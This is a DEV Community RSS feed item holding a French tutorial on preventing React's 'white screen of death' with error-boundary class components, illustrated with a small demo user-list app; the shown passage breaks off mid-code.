<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Boris CERATII</title>
    <description>The latest articles on DEV Community by Boris CERATII (@bcerati).</description>
    <link>https://dev.to/bcerati</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F307108%2F33ffab8e-1dd8-4f57-8332-3ad166d8b17f.png</url>
      <title>DEV Community: Boris CERATII</title>
      <link>https://dev.to/bcerati</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/bcerati"/>
    <language>en</language>
    <item>
      <title>REACT WHITE SCREEN OF DEATH : COMMENT EMPÊCHER SON UI DE PLANTER</title>
      <dc:creator>Boris CERATII</dc:creator>
      <pubDate>Fri, 19 Mar 2021 08:40:34 +0000</pubDate>
      <link>https://dev.to/bcerati/react-white-screen-of-death-comment-empecher-son-ui-de-planter-5997</link>
      <guid>https://dev.to/bcerati/react-white-screen-of-death-comment-empecher-son-ui-de-planter-5997</guid>
      <description>&lt;p&gt;Cet article a été, à l'origine, publié sur mon blog personnel : &lt;a href="https://bce.im/blog/react-white-screen-of-death" rel="noopener noreferrer"&gt;https://bce.im/blog/react-white-screen-of-death&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Lorsque nous développons nos applications ou nos composants React, nous mettons en place des effets de bords qui peuvent causer des erreurs et lever des exceptions. Rien de plus normal en soit.&lt;/p&gt;

&lt;p&gt;Ce qui est problématique, et ça nous arrive régulièrement, c'est de ne pas gérer ses erreurs. Et savez-vous ce qui se passe quand on lève une exception en JS sans la catcher ? Ça fait planter le script ! Et dans notre cas précis, le script étant l'application, c'est l'application entière qui plante et nous arrivons ainsi sur un écran blanc avant une belle erreur dans la console :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fbce.im%2Fimages%2Fblog%2Farticles%2Freact-white-screen-of-death%2Fwhite_screen.jpg%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fbce.im%2Fimages%2Fblog%2Farticles%2Freact-white-screen-of-death%2Fwhite_screen.jpg%3Fstyle%3Dcenterme" alt="Écran blanc"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Résultat d'un plantage : le fameux White Screen&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Dans cet article, je vais vous montrer l'origine du problème, et comment le résoudre.&lt;/p&gt;

&lt;p&gt;Il faut cependant garder une chose à l'esprit, la gestion d'erreurs dans vos composants à l'aide d'erreur boundaries, ne fonctionne qu'avec les "class components". Mais pas d'inquiétude, nous verrons une autre solution d'intégration d'error boundaries dans des composants fonctionnels.&lt;/p&gt;

&lt;p&gt;Dans chaque partie de cet article, je vous donnerai du code qui vous pourrez exécuter simplement :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;décompressez l'archive et allez dans le répertoire créé ;&lt;/li&gt;
&lt;li&gt;servez l'application à l'aide de &lt;a href="https://www.npmjs.com/package/serve" rel="noopener noreferrer"&gt;serve&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;En cas de besoin, je vous donnerez les commandes dans chaque partie de l'article.&lt;/p&gt;
&lt;h2&gt;
  
  
  Démonstration du problème
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Récupération du code
&lt;/h3&gt;

&lt;p&gt;Vous pouvez &lt;a href="https://bce.im/data/blog/react-white-screen-of-death/demo.zip" rel="noopener noreferrer"&gt;télécharger le code de cette partie ici&lt;/a&gt;. Voici quelques commandes qui pourraient vous être utiles :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unzip demo.zip
&lt;span class="nb"&gt;cd &lt;/span&gt;demo
serve &lt;span class="nt"&gt;-s&lt;/span&gt; build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Explication du code
&lt;/h3&gt;

&lt;p&gt;Le code de cette démo est très simple, j'ai initialisé une application à l'aide de &lt;a href="https://fr.reactjs.org/docs/create-a-new-react-app.html#create-react-app" rel="noopener noreferrer"&gt;CRA&lt;/a&gt;. J'ai ensuite ajouté quelques fichiers : &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; src/App.js&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;UserList&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./components/UserList&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Welcome&lt;/span&gt; &lt;span class="nx"&gt;on&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h1&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserList&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rien de particulier : un titre ainsi qu'un composant qui rendra une liste d'utilisateurs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; src/components/UserList.js&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./User.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Boris&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;John&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Marie&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;UserList&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ul&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;userProps&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;`user-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;userProps&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;;
&lt;/span&gt;      &lt;span class="p"&gt;})}&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/ul&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dans ce composant, nous définissions de manière statique une liste d'utilisateurs que nous parcourons et affichons à l'aide d'un composant &lt;code&gt;User&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; src/components/User.js&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;User&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;age&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Oups!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;li&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; is &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/li&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dans ce dernier composant, deux choses :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;nous affichons les informations de l'utilisateur envoyé dans les props ;&lt;/li&gt;
&lt;li&gt;nous levons une exception de manière aléatoire pour simuler une erreur inattendue.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Si vous servez cette application et l'affichez sur votre navigateur, vous allez voir alternativement une application fonctionnelle :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fbce.im%2Fimages%2Fblog%2Farticles%2Freact-white-screen-of-death%2Fappli_ok.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fbce.im%2Fimages%2Fblog%2Farticles%2Freact-white-screen-of-death%2Fappli_ok.png%3Fstyle%3Dcenterme" alt="Application fonctionnelle"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Application fonctionnelle&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;ou une application buguée :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fbce.im%2Fimages%2Fblog%2Farticles%2Freact-white-screen-of-death%2Fappli_ko.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fbce.im%2Fimages%2Fblog%2Farticles%2Freact-white-screen-of-death%2Fappli_ko.png%3Fstyle%3Dcenterme" alt="Application buguée"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Application buguée&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Comme vous le voyez, lorsqu'une exception est levée, c'est toute l'application qui plante. Par exemple, lors du plantage, vous ne parvenez plus à voir le &lt;code&gt;h1&lt;/code&gt; qui est à l'intérieur du composant &lt;code&gt;App&lt;/code&gt;. Alors même que le composant &lt;code&gt;App&lt;/code&gt; n'a pas planté (c'est un de ses composants enfant qui est en erreur).&lt;/p&gt;

&lt;p&gt;Dans ce cas, ce que nous aimerions, c'est continuer à voir toute notre application et afficher un fallback à la place du composant en erreur.&lt;/p&gt;

&lt;p&gt;Quel est notre composant qui pose le soucis ici ? C'est le composant &lt;code&gt;User&lt;/code&gt;. Notre composant de gestion d'erreur sera &lt;code&gt;UserList&lt;/code&gt;. Ainsi, si un &lt;code&gt;User&lt;/code&gt; plante, c'est tout le &lt;code&gt;UserList&lt;/code&gt; qui affichera une fallback. Rendez-vous dans la dernière partie de l'article pour comprendre où placer notre gestion d'erreur.&lt;/p&gt;
&lt;h2&gt;
  
  
  La solution : catcher les erreurs
&lt;/h2&gt;

&lt;p&gt;Comment pourrions-nous faire pour que ce ne soit pas toute l'application qui soit en erreur, mais uniquement la partie concernée ? En catchant l'erreur !&lt;/p&gt;

&lt;p&gt;Je suis sûr que vous le faîte déjà de manière générale ! Que ce soit en JavaScript, PHP, Python, etc... Vous avez l'habitude de gérer vos exceptions à l'aide de try...catch. Eh bien, React vous donne la possibilité de le faire à l'aide d'une fonctionnalité qu'on appelle les &lt;a href="https://reactjs.org/docs/error-boundaries.html#gatsby-focus-wrapper" rel="noopener noreferrer"&gt;errors boundaries&lt;/a&gt;. N'hésitez pas à aller faire un tour sur la documentation officielle pour comprendre en détail leur fonctionnement.&lt;/p&gt;

&lt;p&gt;Comme je vous le disais plus tôt, les error boundaries ne fonctionnent qu'avec des "class components". React n'est pas en mesure de gérer vos exceptions dans des composants fonctionnels.&lt;/p&gt;

&lt;p&gt;Un composant devient un error boundary quand il implémente soit la méthode statique &lt;code&gt;getDerivedStateFromError&lt;/code&gt; ou la méthode &lt;code&gt;componentDidCatch&lt;/code&gt; :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;getDerivedStateFromError&lt;/code&gt; : cette méthode devra retourner la partie du state à merger dans le state du composant lorsqu'une erreur intervient ;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;componentDidCatch&lt;/code&gt; : cette méthode est généralement utilisée pour gérer les effets de bord liés à une erreur (log des erreurs par exemple).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vous pouvez, bien sûr, gérer votre state dans la méthode &lt;code&gt;componentDidCatch&lt;/code&gt; en utilisant &lt;code&gt;setState&lt;/code&gt;, mais je pense qu'il est intéressant de séparer la gestion du state des potentiels effets de bord que vous pourriez introduire. Et puis la méthode &lt;code&gt;getDerivedStateFromError&lt;/code&gt; est là pour ça !&lt;/p&gt;

&lt;p&gt;Notez bien ce qui est indiqué sur la documentation : toutes les erreurs ne peuvent pas être catchées par les error boundaries. Ces erreurs ne le seront pas :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;celles levées dans les gestionnaires d’événements ;&lt;/li&gt;
&lt;li&gt;celles levées dans le code asynchrone (comme le setTimeout)&lt;/li&gt;
&lt;li&gt;celles levées dans les rendus coté serveur ;&lt;/li&gt;
&lt;li&gt;celles levées dans le composant qui est lui-même l'error boundary.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Voyons comment en créer un justement !&lt;/p&gt;
&lt;h3&gt;
  
  
  À l'aide d'une classe
&lt;/h3&gt;

&lt;p&gt;Vous pouvez &lt;a href="https://bce.im/data/blog/react-white-screen-of-death/error-boundary-class.zip" rel="noopener noreferrer"&gt;télécharger le code de cette partie ici&lt;/a&gt;. Comme tout à l'heure, voici quelques commandes qui pourraient vous être utiles :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unzip error-boundary-class.zip
&lt;span class="nb"&gt;cd &lt;/span&gt;error-boundary-class
serve &lt;span class="nt"&gt;-s&lt;/span&gt; build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dans cette nouvelle partie du code, le seul composant qui a changé est le composant &lt;code&gt;UserList&lt;/code&gt;. J'y ai ajouté les deux méthodes &lt;code&gt;getDerivedStateFromError&lt;/code&gt; et &lt;code&gt;componentDidCatch&lt;/code&gt;. C'est ce qui définis ce composant comme étant un error boundary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt; src/components/UserList.js&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/*
  ...
*/&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UserList&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Component&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;hasError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;getDerivedStateFromError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;hasError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;componentDidCatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;info&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;hasError&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hasError&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;strong&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
          &lt;span class="nx"&gt;Oups&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;an&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="nx"&gt;occured&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setState&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;hasError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;})}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nx"&gt;Try&lt;/span&gt; &lt;span class="nx"&gt;again&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/button&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/strong&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ul&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;userProps&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
